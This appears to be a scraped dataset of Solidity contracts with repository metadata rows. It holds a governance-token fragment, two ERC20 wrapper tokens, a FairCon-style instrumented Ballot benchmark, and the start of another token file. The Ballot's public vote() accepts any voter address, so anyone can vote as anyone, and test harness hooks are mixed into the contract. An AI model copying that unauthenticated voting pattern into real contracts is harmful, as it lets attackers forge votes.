uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "ICE::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "ICE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 251,422 | 783 |
9e45cc4c7142a7f83aa3d1c25dbce5ff21ada4be19e47990d08ccf7bd48364b4
| 30,359 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e5/e54d998dF718bA223708C83d24d526cF8d30126F_wsSB.sol
| 3,206 | 12,550 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IsSB {
function index() external view returns (uint);
}
contract wsSB is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sSB;
constructor(address _sSB) ERC20('Wrapped sSB', 'wsSB') {
require(_sSB != address(0));
sSB = _sSB;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sSB).transferFrom(msg.sender, address(this), _amount);
uint value = sSBTowsSB(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wsSBTosSB(_amount);
IERC20(sSB).transfer(msg.sender, value);
return value;
}
function wsSBTosSB(uint _amount) public view returns (uint) {
return _amount.mul(IsSB(sSB).index()).div(10 ** decimals());
}
function sSBTowsSB(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IsSB(sSB).index());
}
}
| 77,576 | 784 |
df5b9e73d330dea2886914dfcc710f05911896cd5feae7b973f213ef766fa610
| 13,833 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/experiment/voting/truthful/Ballot-0xfce2e88f90927d5e5a539f1c223a6c6eeadb6cff.sol
| 3,662 | 12,715 |
pragma solidity >=0.4.0;
contract Ballot {
struct Voter {
uint weight;
bool voted;
uint8 vote;
address delegate;
}
struct Proposal {
uint voteCount;
}
address chairperson;
mapping(address => Voter) voters;
Proposal[] proposals;
/// Create a new ballot with $(_numProposals) different proposals.
constructor(uint8 _numProposals) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
/// Give $(toVoter) the right to vote on this ballot.
/// May only be called by $(chairperson).
function giveRightToVote(address toVoter) public {
if (msg.sender != chairperson || voters[toVoter].voted) return;
voters[toVoter].weight = 1;
}
/// Delegate your vote to the voter $(to).
function delegate(address to) public {
Voter storage sender = voters[msg.sender]; // assigns reference
if (sender.voted) return;
while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)
to = voters[to].delegate;
if (to == msg.sender) return;
sender.voted = true;
sender.delegate = to;
Voter storage delegateTo = voters[to];
if (delegateTo.voted)
proposals[delegateTo.vote].voteCount += sender.weight;
else
delegateTo.weight += sender.weight;
}
/// Give a single vote to proposal $(toProposal).
function vote(address msg_sender, uint8 toProposal) public {
if (voters[msg_sender].voted || toProposal >= proposals.length) return;
voters[msg_sender].voted = true;
voters[msg_sender].vote = toProposal;
proposals[toProposal].voteCount += voters[msg_sender].weight;
}
function winningProposal() public returns (uint8 _winningProposal) {
uint256 winningVoteCount = 0;
for (uint8 prop = 0; prop < proposals.length; prop++)
if (proposals[prop].voteCount > winningVoteCount) {
winningVoteCount = proposals[prop].voteCount;
_winningProposal = prop;
}
}
function newProposal(uint8 _numProposals) public {
// chairperson = msg.sender;
// voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
function sse_winner(int a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, uint8 a, uint8 b) public view {}
function sse_collusion_violate_check(uint u12, uint v1, uint v_1, uint v2, uint v_2) public view{}
function sse_efficient_expectation_register(bool allocation, bool new_allocation, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, bool allocation, bool other_allocation) public view {}
function _Main_(address payable msg_sender1, uint8 p1, uint p1_value, uint p1_rv_value, uint8 msg_value1,
address payable msg_sender2, uint8 p2, uint p2_value, uint p2_rv_value, uint8 msg_value2,
address payable msg_sender3, uint8 p3, uint p3_value, uint p3_rv_value, uint8 msg_value3,
address payable msg_sender4, uint8 p4, uint p4_value, uint p4_rv_value, uint8 msg_value4,
address payable msg_sender5, uint8 p5, uint p5_value, uint p5_rv_value, uint8 msg_value5) public {
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(!(msg_sender1==msg_sender4 || msg_sender2 == msg_sender4 || msg_sender3 == msg_sender4));
require(!(msg_sender1==msg_sender5 || msg_sender2 == msg_sender5 || msg_sender3 == msg_sender5));
require(!(msg_sender4==msg_sender5));
require(p1_value > p1_rv_value && p1_rv_value > 0);
require(p2_value > p2_rv_value && p2_rv_value > 0);
require(p3_value > p3_rv_value && p3_rv_value > 0);
require(p4_value > p4_rv_value && p4_rv_value > 0);
require(p5_value > p5_rv_value && p5_rv_value > 0);
require(p1 ==0||p1==1);
require(p2 ==0||p2==1);
require(p3 ==0||p3==1);
require(p4 ==0||p4==1);
require(p5 ==0||p5==1);
require(msg_value1 ==0||msg_value1==1);
require(msg_value2 ==0||msg_value2==1);
require(msg_value3 ==0||msg_value3==1);
require(msg_value4 ==0||msg_value4==1);
require(msg_value5 ==0||msg_value5==1);
int winner;
require(winner==-1);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
// require(msg_value1!=p1);
require(msg_value2==p2);
require(msg_value3==p3);
require(msg_value4==p4);
require(msg_value5==p5);
// new proposal first
newProposal(2);
require(proposals[0].voteCount == 0);
require(proposals[1].voteCount == 0);
// votes
vote(msg_sender1,msg_value1);
vote(msg_sender2,msg_value2);
vote(msg_sender3,msg_value3);
vote(msg_sender4,msg_value4);
vote(msg_sender5,msg_value5);
//execute Proposal
winner = winningProposal();
assert(winner==0 || winner == 1);
if (winner == msg_value1){
if (msg_value1 == p1){
utilities[msg_sender1] = p1_value;
}else{
utilities[msg_sender1] = p1_rv_value;
}
}
if (winner == msg_value2){
if (msg_value2 == p2){
utilities[msg_sender2] = p2_value;
}else{
utilities[msg_sender2] = p2_rv_value;
}
}
if (winner == msg_value3){
if (msg_value3 == p3){
utilities[msg_sender3] = p3_value;
}else{
utilities[msg_sender3] = p3_rv_value;
}
}
if (winner== msg_value4){
if (msg_value4 == p4){
utilities[msg_sender4] = p4_value;
}else{
utilities[msg_sender4] = p4_rv_value;
}
}
if (winner == msg_value5){
if (msg_value5 == p5){
utilities[msg_sender5] = p5_value;
}else{
utilities[msg_sender5] = p5_rv_value;
}
}
sse_utility(utilities[msg_sender1]);
sse_utility(utilities[msg_sender2]);
sse_utility(utilities[msg_sender3]);
sse_utility(utilities[msg_sender4]);
sse_utility(utilities[msg_sender5]);
sse_winner(winner);
sse_truthful_violate_check(utilities[msg_sender1],msg_value1, p1);
}
}
// contract Rewrite{
// struct Vote {
// bool inSupport;
// address voter;
// }
// struct Proposal {
// uint voteCount;
// }
// Proposal[] proposals;
// uint voteCount;
// function newProposal() public{
// proposal.executed = false;
// proposal.proposalPassed = false;
// proposal.numberOfVotes = 0;
// }
// function vote(address msg_sender, bool supportsProposal) public{
// require(proposal.voted[msg_sender] != true);
// // proposal.votes[voteCount] = Vote({inSupport: supportsProposal, voter: msg_sender});
// proposal.votes[voteCount].inSupport = supportsProposal;
// proposal.votes[voteCount].voter = msg_sender;
// proposal.voted[msg_sender] = true;
// proposal.numberOfVotes = ++voteCount;
// }
// function executeProposal() public {
// uint quorum = 0;
// uint yea = 0;
// uint nay = 0;
// for (uint i = 0; i < voteCount; ++i) {
// uint voteWeight = 1;
// quorum += voteWeight;
// if (proposal.votes[i].inSupport) {
// yea += voteWeight;
// } else {
// nay += voteWeight;
// }
// }
// if (yea > nay) {
// // Proposal passed; execute the transaction
// proposal.proposalPassed = true;
// } else {
// // Proposal failed
// proposal.proposalPassed = false;
// }
// proposal.executed = true;
// }
// mapping(address=>uint) utilities;
// mapping(address=>uint) benefits;
// function sse_winner(address a) public view {}
// function sse_revenue(uint a) public view {}
// function sse_utility(uint a) public view {}
// function sse_maximize(uint a) public view {}
// function sse_minimize(uint a) public view {}
// function sse_truthful_violate_check(uint u, bool a, bool b) public view {}
// address payable msg_sender2, bool p2, uint p2_value, uint p2_rv_value, bool msg_value2,
// address payable msg_sender3, bool p3, uint p3_value, uint p3_rv_value, bool msg_value3,
// address payable msg_sender4, bool p4, uint p4_value, uint p4_rv_value, bool msg_value4,
// require(!(msg_sender4==msg_sender5));
// require(p1_value > p1_rv_value && p1_rv_value > 0);
// require(p2_value > p2_rv_value && p2_rv_value > 0);
// require(p3_value > p3_rv_value && p3_rv_value > 0);
// require(p4_value > p4_rv_value && p4_rv_value > 0);
// require(p5_value > p5_rv_value && p5_rv_value > 0);
// require(voteCount==0);
// require(utilities[msg_sender1] == 0);
// require(utilities[msg_sender2] == 0);
// require(utilities[msg_sender3] == 0);
// require(utilities[msg_sender4] == 0);
// require(utilities[msg_sender5] == 0);
// // require(msg_value1!=p1);
// require(msg_value2==p2);
// require(msg_value3==p3);
// require(msg_value2==p4);
// require(msg_value3==p5);
// // new proposal first
// newProposal();
// // votes
// vote(msg_sender1, msg_value1);
// vote(msg_sender2, msg_value2);
// vote(msg_sender3, msg_value3);
// vote(msg_sender4, msg_value4);
// vote(msg_sender5, msg_value5);
// //execute Proposal
// executeProposal();
// // assert(msg_sender3 == winner);
// assert(proposal.executed == true);
// if (proposal.proposalPassed == msg_value1){
// if (msg_value1 == p1){
// utilities[msg_sender1] = p1_value;
// }else{
// utilities[msg_sender1] = p1_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value2){
// if (msg_value2 == p2){
// utilities[msg_sender2] = p2_value;
// }else{
// utilities[msg_sender2] = p2_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value3){
// if (msg_value1 == p3){
// utilities[msg_sender3] = p3_value;
// }else{
// utilities[msg_sender3] = p3_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value1){
// if (msg_value1 == p4){
// utilities[msg_sender4] = p4_value;
// }else{
// utilities[msg_sender4] = p4_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value1){
// if (msg_value5 == p5){
// utilities[msg_sender5] = p5_value;
// }else{
// utilities[msg_sender5] = p5_rv_value;
// }
// }
// sse_utility(utilities[msg_sender1]);
// sse_utility(utilities[msg_sender2]);
// sse_utility(utilities[msg_sender3]);
// sse_utility(utilities[msg_sender4]);
// sse_utility(utilities[msg_sender5]);
// sse_truthful_violate_check(utilities[msg_sender1],msg_value1, p1);
// }
// }
| 242,314 | 785 |
4b3a69a854199b8a22e4173201357124d6686191b650d9b9878ad47a23214c6a
| 29,378 |
.sol
|
Solidity
| false |
423818094
|
fantohm-dev/fantohm-contracts
|
617acb409e9c6750fa58adc81e506cf355b45634
|
mwsFHM.sol
| 3,222 | 12,581 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IsFHM {
function index() external view returns (uint);
}
contract mwsFHM is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sFHM;
constructor(address _sFHM) ERC20('Moonriver Wrapped sFHM', 'mwsFHM') {
require(_sFHM != address(0));
sFHM = _sFHM;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sFHM).transferFrom(msg.sender, address(this), _amount);
uint value = wsFHMValue(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = sFHMValue(_amount);
IERC20(sFHM).transfer(msg.sender, value);
return value;
}
function sFHMValue(uint _amount) public view returns (uint) {
return _amount.mul(IsFHM(sFHM).index()).div(10 ** decimals());
}
function wsFHMValue(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(IsFHM(sFHM).index());
}
}
| 175,611 | 786 |
c083cf9c4e63a347ce5783128f4e704051d2963f79d8f19f389ff76e42e0e67f
| 30,022 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/86/86bafe5880e41a81692d6d2550ac0b6e092cd597_DeFiKingdoms.sol
| 3,395 | 12,617 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
